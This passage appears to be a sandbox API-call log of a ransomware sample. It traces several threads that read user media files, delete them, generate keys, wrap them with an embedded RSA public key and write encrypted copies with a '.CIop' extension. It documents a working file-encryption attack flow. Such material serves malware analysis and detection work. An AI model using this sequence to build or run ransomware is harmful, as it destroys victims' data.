2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0106.820] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0106.820] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x67b4e8) returned 1 [0106.820] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67b4e8, dwCertEncodingType=0x1, pInfo=0x691798, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x67e038) returned 1 [0106.820] CryptEncrypt (in: hKey=0x67e038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0106.820] CryptEncrypt (in: hKey=0x67e038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67b928*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67b928*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0106.820] WriteFile (in: hFile=0x688, lpBuffer=0x67b928*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67b928*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0106.820] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.820] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.821] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.821] CloseHandle (hObject=0x688) returned 1 [0106.822] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\34Z4dfhq5fY_tfB.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\34z4dfhq5fy_tfb.mkv")) returned 0 Thread: id = 219 os_tid = 0xdac [0106.762] lstrcpyA (in: lpString1=0x357e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.762] lstrcpyW (in: lpString1=0x357f368, lpString2="_7SiEN5ix Oq_lUu N.m4a" | out: lpString1="_7SiEN5ix Oq_lUu N.m4a") returned="_7SiEN5ix Oq_lUu N.m4a" [0106.762] lstrcpyW (in: lpString1=0x357f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\" [0106.762] SetErrorMode (uMode=0x1) returned 0x1 [0106.762] wsprintfW (in: param_1=0x357eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\_7SiEN5ix Oq_lUu N.m4a") returned 73 [0106.762] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\_7SiEN5ix Oq_lUu N.m4a", dwFileAttributes=0x20) returned 1 [0106.774] StrStrW (lpFirst="_7SiEN5ix Oq_lUu N.m4a", lpSrch=".CIop") returned 0x0 [0106.774] wsprintfW (in: param_1=0x357e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\_7SiEN5ix Oq_lUu N.m4a.CIop") returned 78 [0106.774] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\_7SiEN5ix Oq_lUu N.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\_7sien5ix oq_luu n.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0106.775] ReadFile (in: hFile=0x694, lpBuffer=0x6615e8, nNumberOfBytesToRead=0x11887, lpNumberOfBytesRead=0x357e5e8, lpOverlapped=0x0 | out: lpBuffer=0x6615e8*, lpNumberOfBytesRead=0x357e5e8*=0x11887, lpOverlapped=0x0) returned 1 [0106.775] CloseHandle (hObject=0x694) returned 1 [0106.776] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\_7SiEN5ix Oq_lUu N.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\_7sien5ix oq_luu n.m4a")) returned 1 [0106.777] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3300000 [0106.777] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3310000 [0106.779] SetErrorMode (uMode=0x1) returned 0x1 [0106.779] CryptAcquireContextW (in: phProv=0x357e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x357e5b8*=0x67c120) returned 1 [0106.781] CryptGenKey (in: hProv=0x67c120, Algid=0x1, dwFlags=0x4000, phKey=0x357e5bc | out: phKey=0x357e5bc*=0x67e0f8) returned 1 [0106.884] CryptExportKey (in: hKey=0x67e0f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x357e5ec | out: pbData=0x0*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0106.884] CryptExportKey (in: hKey=0x67e0f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3310000, pdwDataLen=0x357e5ec | out: pbData=0x3310000*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0106.884] CryptDestroyKey (hKey=0x67e0f8) returned 1 [0106.884] CryptReleaseContext (hProv=0x67c120, dwFlags=0x0) returned 1 [0106.884] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\_7SiEN5ix Oq_lUu N.m4a.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\_7sien5ix oq_luu n.m4a.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a4 [0106.885] WriteFile (in: hFile=0x6a4, lpBuffer=0x6615e8*, nNumberOfBytesToWrite=0x11887, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x6615e8*, lpNumberOfBytesWritten=0x357e5d8*=0x11887, lpOverlapped=0x0) returned 1 [0106.886] SetFilePointer (in: hFile=0x6a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11887 [0106.886] WriteFile (in: hFile=0x6a4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x357e5d8*=0x7, lpOverlapped=0x0) returned 1 [0106.886] SetFilePointer (in: hFile=0x6a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1188e [0106.886] SetErrorMode (uMode=0x1) returned 0x1 [0106.886] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0106.886] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0106.886] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x357d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598 | out: pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598) returned 1 [0106.886] CryptAcquireContextW (in: phProv=0x357d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x357d5a8*=0x67c010) returned 1 [0106.887] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67c010, dwCertEncodingType=0x1, pInfo=0x692e58, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x357d5b0 | out: phKey=0x357d5b0*=0x67e178) returned 1 [0106.887] CryptEncrypt (in: hKey=0x67e178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x357d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x357d5b4*=0x80) returned 1 [0106.887] CryptEncrypt (in: hKey=0x67e178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67c1a8*, pdwDataLen=0x357d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67c1a8*, pdwDataLen=0x357d5a4*=0x80) returned 1 [0106.888] WriteFile (in: hFile=0x6a4, lpBuffer=0x67c1a8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67c1a8*, lpNumberOfBytesWritten=0x357e5d8*=0x80, lpOverlapped=0x0) returned 1 [0106.888] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.889] VirtualFree (lpAddress=0x3300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.889] VirtualFree (lpAddress=0x3310000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.889] CloseHandle (hObject=0x6a4) returned 1 [0106.891] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\1bwm2R-ai\\_7SiEN5ix Oq_lUu N.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\1bwm2r-ai\\_7sien5ix oq_luu n.m4a")) returned 0 Thread: id = 220 os_tid = 0xdd4 [0106.946] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.946] lstrcpyW (in: lpString1=0x312f368, lpString2="bvv97LkO.swf" | out: lpString1="bvv97LkO.swf") returned="bvv97LkO.swf" [0106.946] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0106.946] SetErrorMode (uMode=0x1) returned 0x1 [0106.946] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\bvv97LkO.swf") returned 71 [0106.946] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\bvv97LkO.swf", dwFileAttributes=0x20) returned 1 [0106.946] StrStrW (lpFirst="bvv97LkO.swf", lpSrch=".CIop") returned 0x0 [0106.946] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\bvv97LkO.swf.CIop") returned 76 [0106.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\bvv97LkO.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\bvv97lko.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a4 [0106.947] ReadFile (in: hFile=0x6a4, lpBuffer=0x2f02090, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f02090*, lpNumberOfBytesRead=0x312e5e8*=0xe14, lpOverlapped=0x0) returned 1 [0106.947] CloseHandle (hObject=0x6a4) returned 1 [0106.947] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\bvv97LkO.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\bvv97lko.swf")) returned 1 [0106.948] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0106.948] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0106.948] SetErrorMode (uMode=0x1) returned 0x1 [0106.949] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x67c098) returned 1 [0106.951] CryptGenKey (in: hProv=0x67c098, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e838) returned 1 [0106.982] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0106.982] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0106.982] CryptDestroyKey (hKey=0x67e838) returned 1 [0106.982] CryptReleaseContext (hProv=0x67c098, dwFlags=0x0) returned 1 [0106.982] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\bvv97LkO.swf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\bvv97lko.swf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0106.982] WriteFile (in: hFile=0x5c0, lpBuffer=0x2f02090*, nNumberOfBytesToWrite=0xe14, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f02090*, lpNumberOfBytesWritten=0x312e5d8*=0xe14, lpOverlapped=0x0) returned 1 [0106.983] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe14 [0106.983] WriteFile (in: hFile=0x5c0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0106.983] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe1b [0106.983] SetErrorMode (uMode=0x1) returned 0x1 [0106.983] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0106.983] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0106.983] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0106.983] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x67b708) returned 1 [0106.984] CryptImportPublicKeyInfoEx (in: hCryptProv=0x67b708, dwCertEncodingType=0x1, pInfo=0x692d88, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67dcf8) returned 1 [0106.984] CryptEncrypt (in: hKey=0x67dcf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0106.984] CryptEncrypt (in: hKey=0x67dcf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67b5f8*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x67b5f8*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0106.984] WriteFile (in: hFile=0x5c0, lpBuffer=0x67b5f8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x67b5f8*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0106.984] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.984] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.984] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0106.984] CloseHandle (hObject=0x5c0) returned 1 [0106.985] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\bvv97LkO.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\bvv97lko.swf")) returned 0 Thread: id = 221 os_tid = 0xdc8 [0106.967] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.967] lstrcpyW (in: lpString1=0x326f368, lpString2="0-Tv sYMFqGkma 6x.wav" | out: lpString1="0-Tv sYMFqGkma 6x.wav") returned="0-Tv sYMFqGkma 6x.wav" [0106.967] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\" [0106.967] SetErrorMode (uMode=0x1) returned 0x1 [0106.967] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\0-Tv sYMFqGkma 6x.wav") returned 80 [0106.967] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\0-Tv sYMFqGkma 6x.wav", dwFileAttributes=0x20) returned 1 [0106.968] StrStrW (lpFirst="0-Tv sYMFqGkma 6x.wav", lpSrch=".CIop") returned 0x0 [0106.968] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\0-Tv sYMFqGkma 6x.wav.CIop") returned 85 [0106.968] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\0-Tv sYMFqGkma 6x.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\0-tv symfqgkma 6x.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a4 [0106.968] ReadFile (in: hFile=0x6a4, lpBuffer=0x656668, nNumberOfBytesToRead=0x4284, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x326e5e8*=0x4284, lpOverlapped=0x0) returned 1 [0106.969] CloseHandle (hObject=0x6a4) returned 1 [0106.969] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ccqskCJ2SS\\85KqQFXPbTBEpm1Ws\\0-Tv sYMFqGkma 6x.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ccqskcj2ss\\85kqqfxpbtbepm1ws\\0-tv symfqgkma 6x.wav")) returned 1 [0106.995] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0106.995] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0106.995] SetErrorMode (uMode=0x1) returned 0x1 [0106.995] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x67c098) returned 1 [0106.998] 